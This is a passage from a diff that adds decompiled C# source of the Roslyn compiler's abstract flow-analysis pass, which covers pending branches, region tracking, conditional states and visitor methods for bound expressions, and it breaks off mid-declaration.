(!((Dictionary>)(object)_labeledBranches).TryGetValue(label, out ArrayBuilder value)) + { + value = ArrayBuilder.PendingBranch>.GetInstance(); + ((Dictionary>)(object)_labeledBranches).Add(label, value); + } + return value; + } + + internal IEnumerable AsEnumerable() + { + if (_labeledBranches != null) + { + return asEnumerableCore(); + } + return (IEnumerable)_unlabeledBranches; + unsafe IEnumerable asEnumerableCore() + { + Enumerator enumerator = ((ArrayBuilder.PendingBranch>)(object)_unlabeledBranches).GetEnumerator(); + while (((Enumerator.PendingBranch>*)(&enumerator))->MoveNext()) + { + yield return ((Enumerator.PendingBranch>*)(&enumerator))->Current; + } + foreach (ArrayBuilder value in ((Dictionary>)(object)_labeledBranches).Values) + { + enumerator = ((ArrayBuilder.PendingBranch>)(object)value).GetEnumerator(); + while (((Enumerator.PendingBranch>*)(&enumerator))->MoveNext()) + { + yield return ((Enumerator.PendingBranch>*)(&enumerator))->Current; + } + } + } + } + } + + internal abstract class AbstractLocalFunctionState + { + public TLocalState StateFromBottom; + + public TLocalState StateFromTop; + + public bool Visited; + + public AbstractLocalFunctionState(TLocalState stateFromBottom, TLocalState stateFromTop) + { + StateFromBottom = stateFromBottom; + StateFromTop = stateFromTop; + } + } + + protected int _recursionDepth; + + protected readonly CSharpCompilation compilation; + + protected Symbol _symbol; + + protected Symbol CurrentSymbol; + + protected readonly BoundNode methodMainNode; + + private readonly PooledDictionary _labels; + + protected bool stateChangedAfterUse; + + private PooledHashSet _labelsSeen; + + protected TLocalState State; + + protected TLocalState StateWhenTrue; + + protected TLocalState StateWhenFalse; + + protected bool IsConditionalState; + + private readonly bool _nonMonotonicTransfer; + + protected RegionPlace regionPlace; + + protected readonly BoundNode firstInRegion; + + protected readonly BoundNode lastInRegion; + + protected readonly bool TrackingRegions; + + private readonly Dictionary _loopHeadState; + + protected readonly TextSpan RegionSpan; + + protected Optional NonMonotonicState; + + private SmallDictionary? _localFuncVarUsages; + + protected PendingBranchesCollection PendingBranches { get; private set; } + + protected DiagnosticBag Diagnostics { get; } + + protected bool IsInside => regionPlace == RegionPlace.Inside; + + protected ImmutableArray MethodParameters + { + get + { + if (_symbol is MethodSymbol methodSymbol) + { + return methodSymbol.Parameters; + } + return ImmutableArray.Empty; + } + } + + protected ParameterSymbol MethodThisParameter + { + get + { + ParameterSymbol thisParameter = null; + (_symbol as MethodSymbol)?.TryGetThisParameter(out thisParameter); + return thisParameter; + } + } + + public abstract bool AwaitUsingAndForeachAddsPendingBranch { get; } + + protected void SetConditionalState((TLocalState whenTrue, TLocalState whenFalse) state) + { + SetConditionalState(state.whenTrue, state.whenFalse); + } + + protected void SetConditionalState(TLocalState whenTrue, TLocalState whenFalse) + { + IsConditionalState = true; + State = default(TLocalState); + StateWhenTrue = whenTrue; + StateWhenFalse = whenFalse; + } + + protected void SetState(TLocalState newState) + { + StateWhenTrue = (StateWhenFalse = default(TLocalState)); + IsConditionalState = false; + State = newState; + } + + protected void Split() + { + if (!IsConditionalState) + { + SetConditionalState(State, State.Clone()); + } + } + + protected void Unsplit() + { + if (IsConditionalState) + { + Join(ref StateWhenTrue, ref StateWhenFalse); + SetState(StateWhenTrue); + } + } + + protected AbstractFlowPass(CSharpCompilation compilation, Symbol symbol, BoundNode node, BoundNode firstInRegion = null, BoundNode lastInRegion = null, bool trackRegions = false, bool nonMonotonicTransferFunction = false) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (firstInRegion != null && lastInRegion != null) + { + trackRegions = true; + } + if (trackRegions) + { + int spanStart = firstInRegion.Syntax.SpanStart; + TextSpan span = lastInRegion.Syntax.Span; + int num = ((TextSpan)(ref span)).End - spanStart; + RegionSpan = new TextSpan(spanStart, num); + } + PendingBranches = new PendingBranchesCollection(); + _labelsSeen = PooledHashSet.GetInstance(); + _labels = PooledDictionary.GetInstance(); + Diagnostics = DiagnosticBag.GetInstance(); + this.compilation = compilation; + _symbol = symbol; + CurrentSymbol = symbol; + methodMainNode = node; + this.firstInRegion = firstInRegion; + this.lastInRegion = lastInRegion; + _loopHeadState = new Dictionary((IEqualityComparer?)ReferenceEqualityComparer.Instance); + TrackingRegions = trackRegions; + _nonMonotonicTransfer = nonMonotonicTransferFunction; + } + + protected abstract string Dump(TLocalState state); + + protected string Dump() + { + if (!IsConditionalState) + { + return Dump(State); + } + return "true: " + Dump(StateWhenTrue) + " false: " + Dump(StateWhenFalse); + } + + private void EnterRegionIfNeeded(BoundNode node) + { + if (TrackingRegions && node == firstInRegion && regionPlace == RegionPlace.Before) + { + EnterRegion(); + } + } + + protected virtual void EnterRegion() + { + regionPlace = RegionPlace.Inside; + } + + private void LeaveRegionIfNeeded(BoundNode node) + { + if (TrackingRegions && node == lastInRegion && regionPlace == RegionPlace.Inside) + { + LeaveRegion(); + } + } + + protected virtual void LeaveRegion() + { + regionPlace = RegionPlace.After; + } + + protected bool RegionContains(TextSpan span) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + if (((TextSpan)(ref span)).Length == 0) + { + return ((TextSpan)(ref RegionSpan)).Contains(((TextSpan)(ref span)).Start); + } + return ((TextSpan)(ref RegionSpan)).Contains(span); + } + + protected virtual void EnterParameters(ImmutableArray parameters) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + EnterParameter(current); + } + } + + protected virtual void EnterParameter(ParameterSymbol parameter) + { + } + + protected virtual void LeaveParameters(ImmutableArray parameters, SyntaxNode syntax, Location location) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + LeaveParameter(current, syntax, location); + } + } + + protected virtual void LeaveParameter(ParameterSymbol parameter, SyntaxNode syntax, Location location) + { + } + + public override BoundNode Visit(BoundNode node) + { + return VisitAlways(node); + } + + protected BoundNode VisitAlways(BoundNode node) + { + if (node != null) + { + EnterRegionIfNeeded(node); + VisitWithStackGuard(node); + LeaveRegionIfNeeded(node); + } + return null; + } + + [DebuggerStepThrough] + private BoundNode VisitWithStackGuard(BoundNode node) + { + if (node is BoundExpression node2) + { + return VisitExpressionWithStackGuard(ref _recursionDepth, node2); + } + return base.Visit(node); + } + + [DebuggerStepThrough] + protected override BoundExpression VisitExpressionWithoutStackGuard(BoundExpression node) + { + return (BoundExpression)base.Visit(node); + } + + protected override bool ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException() + { + return false; + } + + protected virtual ImmutableArray Scan(ref bool badRegion) + { + SavedPending oldPending = SavePending(); + Visit(methodMainNode); + Unsplit(); + RestorePending(oldPending); + if (TrackingRegions && regionPlace != RegionPlace.After) + { + badRegion = true; + } + return RemoveReturns(); + } + + protected ImmutableArray Analyze(ref bool badRegion, Optional initialState = default(Optional)) + { + ImmutableArray result; + do + { + regionPlace = RegionPlace.Before; + State = (initialState.HasValue ? initialState.Value : TopState()); + PendingBranches.Clear(); + stateChangedAfterUse = false; + Diagnostics.Clear(); + result = Scan(ref badRegion); + } + while (stateChangedAfterUse); + return result; + } + + protected virtual void Free() + { + Diagnostics.Free(); + PendingBranches.Free(); + _labelsSeen.Free(); + ((PooledDictionary)(object)_labels).Free(); + } + + protected bool ShouldAnalyzeOutParameters(out Location location) + { + if (!(_symbol is MethodSymbol { Locations: { Length: 1 } } methodSymbol)) + { + location = null; + return false; + } + location = methodSymbol.GetFirstLocation(); + return true; + } + + protected virtual TLocalState LabelState(LabelSymbol label) + { + if (((Dictionary)(object)_labels).TryGetValue(label, out TLocalState value)) + { + return value; + } + value = UnreachableState(); + ((Dictionary)(object)_labels).Add(label, value); + return value; + } + + protected virtual ImmutableArray RemoveReturns() + { + ImmutableArray result = PendingBranches.ToImmutable(); + PendingBranches.Clear(); + return result; + } + + protected void SetUnreachable() + { + State = UnreachableState(); + } + + protected void VisitLvalue(BoundExpression node) + { + EnterRegionIfNeeded(node); + switch (node?.Kind) + { + case BoundKind.Parameter: + VisitLvalueParameter((BoundParameter)node); + break; + case BoundKind.Local: + VisitLvalue((BoundLocal)node); + break; + case BoundKind.PropertyAccess: + { + BoundPropertyAccess boundPropertyAccess = (BoundPropertyAccess)node; + if (Binder.AccessingAutoPropertyFromConstructor(boundPropertyAccess, _symbol)) + { + SynthesizedBackingFieldSymbol synthesizedBackingFieldSymbol = (boundPropertyAccess.PropertySymbol as SourcePropertySymbolBase)?.BackingField; + if (synthesizedBackingFieldSymbol != null) + { + VisitFieldAccessInternal(boundPropertyAccess.ReceiverOpt, synthesizedBackingFieldSymbol); + break; + } + } + goto default; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)node; + VisitFieldAccessInternal(boundFieldAccess.ReceiverOpt, boundFieldAccess.FieldSymbol); + break; + } + case BoundKind.EventAccess: + { + BoundEventAccess boundEventAccess = (BoundEventAccess)node; + VisitFieldAccessInternal(boundEventAccess.ReceiverOpt, boundEventAccess.EventSymbol.AssociatedField); + break; + } + case BoundKind.TupleLiteral: + case BoundKind.ConvertedTupleLiteral: + ((BoundTupleExpression)node).VisitAllElements(delegate(BoundExpression x, AbstractFlowPass self) + { + self.VisitLvalue(x); + }, this); + break; + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess access = (BoundInlineArrayAccess)node; + VisitLvalue(access); + break; + } + default: + VisitRvalue(node); + break; + case BoundKind.ThisReference: + case BoundKind.BaseReference: + break; + } + LeaveRegionIfNeeded(node); + } + + protected virtual void VisitLvalue(BoundLocal node) + { + } + + protected void VisitCondition(BoundExpression node) + { + Visit(node); + AdjustConditionalState(node); + } + + private void AdjustConditionalState(BoundExpression node) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + if (IsConstantTrue(node)) + { + Unsplit(); + SetConditionalState(State, UnreachableState()); + } + else if (IsConstantFalse(node)) + { + Unsplit(); + SetConditionalState(UnreachableState(), State); + } + else if ((object)node.Type == null || (int)node.Type.SpecialType != 7) + { + Unsplit(); + } + Split(); + } + + protected virtual void VisitRvalue(BoundExpression node, bool isKnownToBeAnLvalue = false) + { + Visit(node); + Unsplit(); + } + + [DebuggerHidden] + protected virtual void VisitStatement(BoundStatement statement) + { + Visit(statement); + } + + protected static bool IsConstantTrue(BoundExpression node) + { + return node.ConstantValueOpt == ConstantValue.True; + } + + protected static bool IsConstantFalse(BoundExpression node) + { + return node.ConstantValueOpt == ConstantValue.False; + } + + protected static bool IsConstantNull(BoundExpression node) + { + return node.ConstantValueOpt == ConstantValue.Null; + } + + private void LoopHead(BoundLoopStatement node) + { + if (_loopHeadState.TryGetValue(node, out var value)) + { + Join(ref State, ref value); + } + _loopHeadState[node] = State.Clone(); + } + + private void LoopTail(BoundLoopStatement node) + { + TLocalState self = _loopHeadState[node]; + if (Join(ref self, ref State)) + { + _loopHeadState[node] = self; + stateChangedAfterUse = true; + } + } + + private void ResolveBreaks(TLocalState breakState, LabelSymbol label) + { + JoinPendingBranches(ref breakState, label); + SetState(breakState); + } + + private void ResolveContinues(LabelSymbol continueLabel) + { + JoinPendingBranches(ref State, continueLabel); + } + + private unsafe void JoinPendingBranches(ref TLocalState state, LabelSymbol label) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder andRemoveBranches = PendingBranches.GetAndRemoveBranches(label); + if (andRemoveBranches != null) + { + Enumerator enumerator = ((ArrayBuilder.PendingBranch>)(object)andRemoveBranches).GetEnumerator(); + while (((Enumerator.PendingBranch>*)(&enumerator))->MoveNext()) + { + PendingBranch current = ((Enumerator.PendingBranch>*)(&enumerator))->Current; + Join(ref state, ref current.State); + } + ((ArrayBuilder.PendingBranch>)(object)andRemoveBranches).Free(); + } + } + + protected virtual void NoteBranch(PendingBranch pending, BoundNode gotoStmt, BoundStatement target) + { + } + + private unsafe bool ResolveBranches(LabelSymbol label, BoundStatement? target) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + bool labelStateChanged = false; + ArrayBuilder andRemoveBranches = PendingBranches.GetAndRemoveBranches(label); + if (andRemoveBranches != null) + { + Enumerator enumerator = ((ArrayBuilder.PendingBranch>)(object)andRemoveBranches).GetEnumerator(); + while (((Enumerator.PendingBranch>*)(&enumerator))->MoveNext()) + { + PendingBranch current = ((Enumerator.PendingBranch>*)(&enumerator))->Current; + ResolveBranch(current, label, target, ref labelStateChanged); + } + ((ArrayBuilder.PendingBranch>)(object)andRemoveBranches).Free(); + } + return labelStateChanged; + } + + protected virtual void ResolveBranch(PendingBranch pending, LabelSymbol label, BoundStatement? target, ref bool labelStateChanged) + { + TLocalState self = LabelState(label); + if (target != null) + { + NoteBranch(pending, pending.Branch, target); + } + if (Join(ref self, ref pending.State)) + { + labelStateChanged = true; + ((Dictionary)(object)_labels)[label] = self; + } + } + + protected SavedPending SavePending() + { + SavedPending result = new SavedPending(PendingBranches, _labelsSeen); + PendingBranches = new PendingBranchesCollection(); + _labelsSeen = PooledHashSet.GetInstance(); + return result; + } + + protected void RestorePending(SavedPending oldPending) + { + foreach (BoundStatement item in (HashSet)(object)_labelsSeen) + { + switch (item.Kind) + { + case BoundKind.LabeledStatement: + { + BoundLabeledStatement boundLabeledStatement = (BoundLabeledStatement)item; + stateChangedAfterUse |= ResolveBranches(boundLabeledStatement.Label, boundLabeledStatement); + break; + } + case BoundKind.LabelStatement: + { + BoundLabelStatement boundLabelStatement = (BoundLabelStatement)item; + stateChangedAfterUse |= ResolveBranches(boundLabelStatement.Label, boundLabelStatement); + break; + } + case BoundKind.SwitchSection: + { + BoundSwitchSection boundSwitchSection = (BoundSwitchSection)item; + ImmutableArray.Enumerator enumerator2 = boundSwitchSection.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current2 = enumerator2.Current; + stateChangedAfterUse |= ResolveBranches(current2.Label, boundSwitchSection); + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)item.Kind); + } + } + oldPending.PendingBranches.AddRange(PendingBranches); + PendingBranches.Free(); + PendingBranches = oldPending.PendingBranches; + _labelsSeen.Free(); + _labelsSeen = oldPending.LabelsSeen; + } + + public override BoundNode DefaultVisit(BoundNode node) + { + Diagnostics.Add(ErrorCode.ERR_InternalError, node.Syntax.Location); + return null; + } + + public override BoundNode VisitAttribute(BoundAttribute node) + { + return null; + } + + public override BoundNode VisitThrowExpression(BoundThrowExpression node) + { + VisitRvalue(node.Expression); + SetUnreachable(); + return node; + } + + public override BoundNode VisitPassByCopy(BoundPassByCopy node) + { + VisitRvalue(node.Expression); + return node; + } + + public override BoundNode VisitIsPatternExpression(BoundIsPatternExpression node) + { + BoundPattern innerPattern; + bool num = node.Pattern.IsNegated(out innerPattern); + if (VisitPossibleConditionalAccess(node.Expression, out TLocalState stateWhenNotNull)) + { + SetConditionalState(patternMatchesNull(innerPattern) ? (whenTrue: State, whenFalse: stateWhenNotNull) : (whenTrue: stateWhenNotNull, whenFalse: State)); + } + else if (IsConditionalState) + { + bool? flag = isBoolTest(innerPattern); + if (flag.HasValue) + { + if (flag != true) + { + SetConditionalState(StateWhenFalse, StateWhenTrue); + } + } + else + { + Unsplit(); + } + } + VisitPattern(innerPattern); + ImmutableHashSet reachableLabels = node.ReachabilityDecisionDag.ReachableLabels; + if (!reachableLabels.Contains(node.WhenTrueLabel)) + { + SetState(StateWhenFalse); + SetConditionalState(UnreachableState(), State); + } + else if (!reachableLabels.Contains(node.WhenFalseLabel)) + { + SetState(StateWhenTrue); + SetConditionalState(State, UnreachableState()); + } + if (num) + { + SetConditionalState(StateWhenFalse, StateWhenTrue); + } + return node; + static bool? isBoolTest(BoundPattern pattern) + { + if (pattern is BoundConstantPattern boundConstantPattern) + { + ConstantValue constantValue = boundConstantPattern.ConstantValue; + if (constantValue != null) + { + if (constantValue.IsBoolean) + { + return constantValue.BooleanValue; + } + goto IL_016b; + } + } + else + { + if (pattern is BoundNegatedPattern boundNegatedPattern) + { + return !isBoolTest(boundNegatedPattern.Negated); + } + if (pattern is BoundBinaryPattern boundBinaryPattern) + { + if (boundBinaryPattern.Disjunction) + { + bool? flag2 = isBoolTest(boundBinaryPattern.Left); + if (flag2.HasValue) + { + if (flag2 == isBoolTest(boundBinaryPattern.Right)) + { + return flag2; + } + return null; + } + return null; + } + return isBoolTest(boundBinaryPattern.Left) ?? isBoolTest(boundBinaryPattern.Right); + } + if (pattern is BoundDiscardPattern || pattern is BoundTypePattern || pattern is BoundRecursivePattern || pattern is BoundITuplePattern || pattern is BoundRelationalPattern || pattern is BoundDeclarationPattern || pattern is BoundListPattern || pattern is BoundSlicePattern) + { + goto IL_016b; + } + } + throw ExceptionUtilities.UnexpectedValue((object)pattern.Kind); + IL_016b: + return null; + } + static bool patternMatchesNull(BoundPattern pattern) + { + if (!(pattern is BoundTypePattern) && !(pattern is BoundRecursivePattern) && !(pattern is BoundITuplePattern) && !(pattern is BoundRelationalPattern)) + { + if (!(pattern is BoundDeclarationPattern boundDeclarationPattern)) + { + if (pattern is BoundConstantPattern boundConstantPattern) + { + ConstantValue constantValue = boundConstantPattern.ConstantValue; + if (constantValue != null) + { + if (constantValue.IsNull) + { + return true; + } + goto IL_008c; + } + } + else + { + if (pattern is BoundListPattern || pattern is BoundSlicePattern) + { + goto IL_008c; + } + if (pattern is BoundNegatedPattern boundNegatedPattern) + { + return !patternMatchesNull(boundNegatedPattern.Negated); + } + if (pattern is BoundBinaryPattern boundBinaryPattern) + { + if (boundBinaryPattern.Disjunction) + { + patternMatchesNull(boundBinaryPattern.Left); + if (!patternMatchesNull(boundBinaryPattern.Left)) + { + return patternMatchesNull(boundBinaryPattern.Right); + } + return true; + } + if (patternMatchesNull(boundBinaryPattern.Left)) + { + return patternMatchesNull(boundBinaryPattern.Right); + } + return false; + } + if (pattern is BoundDiscardPattern) + { + goto IL_00e9; + } + } + throw ExceptionUtilities.UnexpectedValue((object)pattern.Kind); + } + if (boundDeclarationPattern.IsVar) + { + goto IL_00e9; + } + } + goto IL_008c; + IL_008c: + return false; + IL_00e9: + return true; + } + } + + public virtual void VisitPattern(BoundPattern pattern) + { + Split(); + } + + public override BoundNode VisitConstantPattern(BoundConstantPattern node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/FlowAnalysis/AbstractFlowPass.cs", 1069); + } + + public override BoundNode VisitTupleLiteral(BoundTupleLiteral node) + { + return VisitTupleExpression(node); + } + + public override BoundNode VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + return VisitTupleExpression(node); + } + + private BoundNode VisitTupleExpression(BoundTupleExpression node) + { + VisitArguments(node.Arguments, default(ImmutableArray), null); + return null; + } + + public override BoundNode VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + VisitRvalue(node.Left); + VisitRvalue(node.Right); + return null; + } + + public override BoundNode VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, null); + VisitRvalue(node.InitializerExpressionOpt); + return null; + } + + public override BoundNode VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + VisitRvalue(node.Receiver); + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, null); + return null; + } + + public override BoundNode VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + VisitRvalue(node.Receiver); + return null; + } + + public override BoundNode VisitDynamicInvocation(BoundDynamicInvocation node) + { + VisitRvalue(node.Expression); + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, null); + return null; + } + + protected BoundNode? VisitInterpolatedStringBase(BoundInterpolatedStringBase node, InterpolatedStringHandlerData? data) + { + (BoundExpression, bool, bool) tuple; + if (data.HasValue) + { + InterpolatedStringHandlerData valueOrDefault = data.GetValueOrDefault(); + tuple = (valueOrDefault.Construction, valueOrDefault.UsesBoolReturns, valueOrDefault.HasTrailingHandlerValidityParameter); + } + else + { + tuple = (null, false, false); + } + var (constructor, flag, flag2) = tuple; + VisitInterpolatedStringHandlerConstructor(constructor); + bool num = flag || flag2; + TLocalState shortCircuitState = (num ? State.Clone() : default(TLocalState)); + VisitInterpolatedStringHandlerParts(node, flag, flag2, ref shortCircuitState); + if (num) + { + Join(ref State, ref shortCircuitState); + } + return null; + } + + protected virtual void VisitInterpolatedStringHandlerConstructor(BoundExpression? constructor) + { + VisitRvalue(constructor); + } + + public override BoundNode VisitInterpolatedString(BoundInterpolatedString node) + { + return VisitInterpolatedStringBase(node, node.InterpolationData); + } + + public override BoundNode VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node) + { + return VisitInterpolatedStringBase(node, null); + } + + public override BoundNode VisitStringInsert(BoundStringInsert node) + { + VisitRvalue(node.Value); + if (node.Alignment != null) + { + VisitRvalue(node.Alignment); + } + if (node.Format != null) + { + VisitRvalue(node.Format); + } + return null; + } + + public override BoundNode VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node) + { + return null; + } + + public override BoundNode VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node) + { + return null; + } + + public override BoundNode VisitArgList(BoundArgList node) + { + return null; + } + + public override BoundNode VisitArgListOperator(BoundArgListOperator node) + { + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, null); + return null; + } + + public override BoundNode VisitRefTypeOperator(BoundRefTypeOperator node) + { + VisitRvalue(node.Operand); + return null; + } + + public override BoundNode VisitMakeRefOperator(BoundMakeRefOperator node) + { + VisitRvalue(node.Operand, isKnownToBeAnLvalue: true); + return null; + } + + public override BoundNode VisitRefValueOperator(BoundRefValueOperator node) + { + VisitRvalue(node.Operand); + return null; + } + + public override BoundNode VisitGlobalStatementInitializer(BoundGlobalStatementInitializer node) + { + VisitStatement(node.Statement); + return null; + } + + public override BoundNode VisitLambda(BoundLambda node) + { + return null; + } + + public override BoundNode VisitLocal(BoundLocal node) + { + SplitIfBooleanConstant(node); + return null; + } + + public override BoundNode VisitLocalDeclaration(BoundLocalDeclaration node) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (node.InitializerOpt != null) + { + VisitRvalue(node.InitializerOpt, (int)node.LocalSymbol.RefKind > 0); + if ((int)node.LocalSymbol.RefKind != 0) + { + WriteArgument(node.InitializerOpt, node.LocalSymbol.RefKind, null); + } + } + return null; + } + + public override BoundNode VisitBlock(BoundBlock node) + { + VisitStatements(node.Statements); + return null; + } + + private void VisitStatements(ImmutableArray statements) + { + ImmutableArray.Enumerator enumerator = statements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundStatement current = enumerator.Current; + VisitStatement(current); + } + } + + public override BoundNode VisitScope(BoundScope node) + { + VisitStatements(node.Statements); + return null; + } + + public override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + VisitRvalue(node.Expression); + return null; + } + + public override BoundNode VisitCall(BoundCall node) + { + bool flag = node.Method.CallsAreOmitted(node.SyntaxTree); + TLocalState state = default(TLocalState); + if (flag) + { + state = State.Clone(); + SetUnreachable(); + } + if (node.ReceiverOpt is BoundCall boundCall) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, node); + node = boundCall; + while (node.ReceiverOpt is BoundCall boundCall2) + { + ArrayBuilderExtensions.Push(instance, node); + node = boundCall2; + } + VisitReceiverBeforeCall(node.ReceiverOpt, node.Method); + do + { + visitArgumentsAndCompleteAnalysis(node); + } + while (ArrayBuilderExtensions.TryPop(instance, ref node)); + instance.Free(); + } + else + { + VisitReceiverBeforeCall(node.ReceiverOpt, node.Method); + visitArgumentsAndCompleteAnalysis(node); + } + if (flag) + { + State = state; + } + return null; + void visitArgumentsAndCompleteAnalysis(BoundCall boundCall3) + { + VisitArgumentsBeforeCall(boundCall3.Arguments, boundCall3.ArgumentRefKindsOpt); + if (boundCall3.Method?.OriginalDefinition is LocalFunctionSymbol symbol) + { + VisitLocalFunctionUse(symbol, boundCall3.Syntax, isCall: true); + } + VisitArgumentsAfterCall(boundCall3.Arguments, boundCall3.ArgumentRefKindsOpt, boundCall3.Method); + VisitReceiverAfterCall(boundCall3.ReceiverOpt, boundCall3.Method); + } + } + + protected void VisitLocalFunctionUse(LocalFunctionSymbol symbol, SyntaxNode syntax, bool isCall) + { + TLocalFunctionState orCreateLocalFuncUsages = GetOrCreateLocalFuncUsages(symbol); + VisitLocalFunctionUse(symbol, orCreateLocalFuncUsages, syntax, isCall); + } + + protected virtual void VisitLocalFunctionUse(LocalFunctionSymbol symbol, TLocalFunctionState localFunctionState, SyntaxNode syntax, bool isCall) + { + if (isCall) + { + Join(ref State, ref localFunctionState.StateFromBottom); + if (!symbol.IsAsync) + { + Meet(ref State, ref localFunctionState.StateFromTop); + } + } + localFunctionState.Visited = true; + } + + private void VisitReceiverBeforeCall(BoundExpression receiverOpt, MethodSymbol method) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + if ((object)method == null || (int)method.MethodKind != 1) + { + VisitRvalue(receiverOpt); + } + } + + private void VisitReceiverAfterCall(BoundExpression receiverOpt, MethodSymbol method) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (receiverOpt == null) + { + return; + } + ParameterSymbol thisParameter; + if ((object)method == null) + { + WriteArgument(receiverOpt, (RefKind)1, null); + } + else if (method.TryGetThisParameter(out thisParameter) && (object)thisParameter != null && !TypeIsImmutable(thisParameter.Type)) + { + RefKind refKind = thisParameter.RefKind; + if (refKind.IsWritableReference()) + { + WriteArgument(receiverOpt, refKind, method); + } + } + } + + private static bool TypeIsImmutable(TypeSymbol t) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + SpecialType specialType = t.SpecialType; + if (specialType - 7 <= 12 || (int)specialType == 33) + { + return true; + } + return t.IsNullableType(); + } + + public override BoundNode VisitIndexerAccess(BoundIndexerAccess node) + { + MethodSymbol readMethod = GetReadMethod(node.Indexer); + VisitReceiverBeforeCall(node.ReceiverOpt, readMethod); + VisitArguments(node.Arguments, node.ArgumentRefKindsOpt, readMethod); + if ((object)readMethod != null) + { + VisitReceiverAfterCall(node.ReceiverOpt, readMethod); + } + return null; + } + + public override BoundNode VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + VisitRvalue(node.Receiver); + VisitRvalue(node.Argument); + return null; + } + + public override BoundNode VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + VisitRvalue(node.ReceiverOpt); + VisitRvalue(node.Argument); + return null; + } + + protected virtual void VisitArguments(ImmutableArray arguments, ImmutableArray refKindsOpt, MethodSymbol method) + { + VisitArgumentsBeforeCall(arguments, refKindsOpt); + VisitArgumentsAfterCall(arguments, refKindsOpt, method); + } + + private void VisitArgumentsBeforeCall(ImmutableArray arguments, ImmutableArray refKindsOpt) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Invalid comparison between Unknown and I4 + for (int i = 0; i < arguments.Length; i++) + { + RefKind refKind = GetRefKind(refKindsOpt, i); + if ((int)refKind != 2) + { + VisitRvalue(arguments[i], (int)refKind > 0); + } + else + { + VisitLvalue(arguments[i]); + } + } + } + + private void VisitArgumentsAfterCall(ImmutableArray arguments, ImmutableArray refKindsOpt, MethodSymbol method) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < arguments.Length; i++) + { + RefKind refKind = GetRefKind(refKindsOpt, i); + if ((int)refKind != 0) + { + WriteArgument(arguments[i], refKind, method); + } + } + } + + protected static RefKind GetRefKind(ImmutableArray refKindsOpt, int index) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (refKindsOpt.IsDefault || refKindsOpt.Length <= index) + { + return (RefKind)0; + } + return refKindsOpt[index]; + } + + protected virtual void WriteArgument(BoundExpression arg, RefKind refKind, MethodSymbol method) + { + } + + public override BoundNode VisitBadExpression(BoundBadExpression node) + { + ImmutableArray.Enumerator enumerator = node.ChildBoundNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + return null; + } + + public override BoundNode VisitBadStatement(BoundBadStatement node) + { + ImmutableArray.Enumerator enumerator = node.ChildBoundNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundNode current = enumerator.Current; + if (current is BoundStatement) + { + VisitStatement(current as BoundStatement); + } + else + { + VisitRvalue(current as BoundExpression); + } + } + return null; + } + + public 